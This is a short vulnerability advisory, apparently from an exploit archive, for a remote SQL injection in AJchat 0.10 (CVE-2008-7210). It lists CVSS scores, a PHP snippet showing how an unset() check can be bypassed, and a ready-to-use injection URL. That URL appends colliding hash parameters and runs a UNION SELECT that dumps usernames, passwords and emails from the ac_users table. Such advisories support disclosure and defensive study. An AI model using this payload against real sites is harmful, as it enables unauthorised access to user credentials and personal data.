AJchat 0.10 unset() bug Remote SQL Injection Vulnerability

2009-09-15 / 2009-09-16

Credit: Eugene Minaev

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-7210

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

----[ AJchat Remote Sql Injection using unset() bug ... ITDefence.ru Antichat.ru ]
AJchat Remote Sql Injection using unset() bug
Eugene Minaev underwater@itdefence.ru
<?php
if (isset($_GET["s"])){
$_GET["s"] = strtoupper($_GET["s"]);
if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
// nothing
}else unset($_GET['s']);
}
?>
As we can see , $_GET['s'] can include only A..Z characters , in other way script unset() it.
calc.exe s
5861526=1
5863704=1
directory.php?s='and 1 = 2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1
----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

References:

http://xforce.iss.net/xforce/xfdb/39600

http://www.securityfocus.com/bid/27241

http://www.milw0rm.com/exploits/4890

See this note in RAW Version

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AJchat 0.10 unset() bug Remote SQL Injection Vulnerability

References:

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